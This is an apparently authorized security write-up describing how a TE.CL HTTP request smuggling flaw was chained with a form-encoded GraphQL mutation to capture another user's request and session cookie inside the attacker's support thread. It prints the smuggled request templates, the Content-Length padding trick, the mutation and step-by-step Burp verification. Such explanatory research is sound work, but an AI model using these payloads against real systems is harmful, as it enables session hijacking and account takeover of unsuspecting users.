October 2, 2026
HTTP Request Smuggling (TE.CL) to Session Hijacking via GraphQL
A deep dive into how an HTTP request-smuggling desynchronization can be chained with a flexible GraphQL request format to capture aโฆ

By Gentil Security
4 min read
A deep dive into how an HTTP request-smuggling desynchronization can be chained with a flexible GraphQL request format to capture a subsequent user's request including authentication cookies.
1. Introduction
HTTP Request Smuggling is one of those vulnerability classes where the initial bug is often only the beginning.
A request parser disagreement between a front-end proxy and a back-end server can look like a simple 400 Bad Request or connection desynchronization issue. The real security impact appears when that desynchronization can be turned into a reliable cross-request interaction.
During an authorized assessment of web application, I found a TE.CL HTTP Request Smuggling condition.
The front-end processed the request using:
httpTransfer-Encoding: chunkedhttpTransfer-Encoding: chunkedwhile the back-end interpreted the request boundary using:
httpContent-LengthhttpContent-LengthThat mismatch allowed a crafted request to desynchronize the back-end connection.
The interesting part was what came next.
Instead of stopping at a basic desync proof, I looked for an application endpoint that could accept attacker-controlled content in a way that remained syntactically valid after another HTTP request was appended.
The /graphql endpoint provided exactly that primitive.
The result was a working chain:
TE.CL desync โ poisoned back-end connection โ smuggled GraphQL request โ next request absorbed into the body โ victim request stored in the attacker's support conversation โ session cookie disclosure โ session hijacking / account takeover.
2. The Initial TE.CL Desynchronization
The first step was establishing that the front-end and back-end disagreed about request framing.
Conceptually, the front-end saw:
httpTransfer-Encoding: chunkedhttpTransfer-Encoding: chunkedand therefore treated:
text0text0as the end of the chunked body.
The back-end, however, was still willing to interpret bytes that followed according to a different request boundary.
A simplified version of the desync trigger looked like this:
httpPOST /api/stich_transitionState?localeCode=en-US HTTP/1.1
Host: target.example.com
Connection: keep-alive
X-Csrf-Token: x
Transfer-Encoding: chunked
0
POST /graphql HTTP/1.1
Host: target.example.com
...httpPOST /api/stich_transitionState?localeCode=en-US HTTP/1.1
Host: target.example.com
Connection: keep-alive
X-Csrf-Token: x
Transfer-Encoding: chunked
0
POST /graphql HTTP/1.1
Host: target.example.com
...The important observation was not the exact endpoint name. The important observation was that the connection could be left in a state where the back-end expected more bytes than the front-end considered part of the first request.
A follow-up request producing an abnormal response was enough to establish the underlying desynchronization.
At this stage, however, there was no account takeover yet.
3. Why the First Weaponization Attempt Failed
My first attempt was to use a state-changing JSON API directly.
The problem was structural.
The endpoint expected a valid JSON document such as:
json{
"request": {
"message": {
"text": "hello"
}
}
}json{
"request": {
"message": {
"text": "hello"
}
}
}If a victim request was appended after the JSON object:
text{"request":{"message":{"text":"hello"}}}GET /...text{"request":{"message":{"text":"hello"}}}GET /...the back-end JSON parser rejected the body.
So the request-smuggling primitive existed, but the application-layer payload could not survive the appended bytes.
That led to a more useful question:
Is there another endpoint that performs the same application action but accepts a less rigid body format?
4. The GraphQL Breakthrough
The support functionality was also exposed through a GraphQL endpoint:
httpPOST /graphql
Content-Type: application/x-www-form-urlencodedhttpPOST /graphql
Content-Type: application/x-www-form-urlencodedThis changed the situation completely.
Instead of sending the nested structure as strict JSON, the request could be represented as bracketed URL-encoded parameters.
For example, this logical object:
json{
"variables": {
"request": {
"message": {
"text": "myMessage"
}
}
}
}json{
"variables": {
"request": {
"message": {
"text": "myMessage"
}
}
}
}could be represented as:
textvariables[request][message][text]=myMessagetextvariables[request][message][text]=myMessageThat gave me a controllable parameter at the end of the request body.
This mattered because the final parameter could absorb the bytes of the next request while remaining syntactically acceptable to the application.
In other words, the HTTP parser was desynchronized at the transport layer, while the application parser still received something that looked like a valid form-encoded request.
That was the missing link.
5. The Smuggled Request
The crafted request used the vulnerable request as the outer desynchronization trigger and then injected a second request targeting /graphql.
A sanitized representation is:
httpPOST /api/stich_transitionState?localeCode=en-US HTTP/1.1
Host: target.example.com
Connection: keep-alive
X-Csrf-Token: x
Transfer-Encoding: chunked
0
POST /graphql HTTP/1.1
Host: target.example.com
Content-Type: application/x-www-form-urlencoded
X-Csrf-Token: x
Cookie: cookie1=[ATTACKER_cookie1]; cookie2=[ATTACKER_cookie2]; cookie3=[ATTACKER_cookie3]
Content-Length: [SMUGGLED_BODY_LENGTH + VICTIM_REQUEST_LENGTH]
operationName=updateMobileContact_deprecated
&variables[request][contactID]=[ATTACKER_CONTACT_ID]
&query=[GRAPHQL_MUTATION]
&variables[request][message][text]=HIJACKED_REQUEST_BEGINS:httpPOST /api/stich_transitionState?localeCode=en-US HTTP/1.1
Host: target.example.com
Connection: keep-alive
X-Csrf-Token: x
Transfer-Encoding: chunked
0
POST /graphql HTTP/1.1
Host: target.example.com
Content-Type: application/x-www-form-urlencoded
X-Csrf-Token: x
Cookie: cookie1=[ATTACKER_cookie1]; cookie2=[ATTACKER_cookie2]; cookie3=[ATTACKER_cookie3]
Content-Length: [SMUGGLED_BODY_LENGTH + VICTIM_REQUEST_LENGTH]
operationName=updateMobileContact_deprecated
&variables[request][contactID]=[ATTACKER_CONTACT_ID]
&query=[GRAPHQL_MUTATION]
&variables[request][message][text]=HIJACKED_REQUEST_BEGINS:The exact GraphQL mutation can be represented conceptually as:
graphqlmutation updateMobileContact_deprecated($request: UpdateMobileContactRequest) {
updateMobileContact_deprecated(request: $request) {
__typename
... on UpdateMobileContactResponse {
mobileMessage {
text
}
}
}
}graphqlmutation updateMobileContact_deprecated($request: UpdateMobileContactRequest) {
updateMobileContact_deprecated(request: $request) {
__typename
... on UpdateMobileContactResponse {
mobileMessage {
text
}
}
}
}The final form parameter was the key:
textvariables[request][message][text]=HIJACKED_REQUEST_BEGINS:textvariables[request][message][text]=HIJACKED_REQUEST_BEGINS:Because it was the last field, the next HTTP request could become part of its value.
6. Making the Back-End "Hungry"
The critical detail was the Content-Length.
The length declared by the smuggled /graphql request had to account for:
smuggled body length + complete length of the following request
Conceptually:
textContent-Length =
attacker-controlled GraphQL body
+ victim request bytestextContent-Length =
attacker-controlled GraphQL body
+ victim request bytesThis caused the back-end to keep reading after the attacker's form body had already reached its logical end.
The next request arriving on that same back-end connection was therefore consumed as additional request-body data.
This is the "hungry" behavior that transformed a parser desynchronization into cross-request data capture.
7. The Victim Request
The second request was intentionally ordinary.
For demonstration, a victim-style request can be represented as:
httpGET /path/inbox HTTP/1.1
Host: target.example.com
Cookie: session_cookie=VICTIM_SESSION_VALUE
Cache-Control: no-cachehttpGET /path/inbox HTTP/1.1
Host: target.example.com
Cookie: session_cookie=VICTIM_SESSION_VALUE
Cache-Control: no-cacheThe important requirement is that the victim request reaches the same poisoned back-end connection.
When that happens, its bytes are appended to the body of the smuggled GraphQL request.
From the application's perspective, the result resembles a support message containing attacker-controlled text followed by the raw HTTP request.
8. Why the Request Was Successfully Stored
The application accepted the attacker-controlled message text through the GraphQL mutation.
Because the final parameter was a form value rather than a rigid JSON field, the additional bytes did not immediately invalidate the entire message object.
The back-end therefore processed the mutation and stored the resulting text in the attacker's support conversation.
The stored message effectively became:
textHIJACKED_REQUEST_BEGINS:
GET /path/inbox HTTP/1.1
Host: target.example.com
Cookie: session_cookie=VICTIM_SESSION_VALUE
Cache-Control: no-cache
...textHIJACKED_REQUEST_BEGINS:
GET /path/inbox HTTP/1.1
Host: target.example.com
Cookie: session_cookie=VICTIM_SESSION_VALUE
Cache-Control: no-cache
...The critical security boundary had now been crossed:
a request generated by another user became readable data inside the attacker's authenticated account.
9. Verification
The verification flow was straightforward:
- Create a support conversation as the attacker.
- Obtain the conversation/message identifier.
- Prepare the two requests in a single Burp Repeater tab group.
- Send them using a single TCP connection.
- Ignore the immediate Repeater responses.
- Refresh the support inbox in the browser.
- Open the conversation used during the test.
- Observe the newly stored message containing the appended request.
The key evidence was the presence of the victim request and its Cookie header inside the attacker's own support thread.
Get More Of Hacking Techniques ๐พ
https://www.youtube.com/@gentil.security
https://github.com/ahmedhamdy0x
https://www.linkedin.com/in/ahmedhamdy0x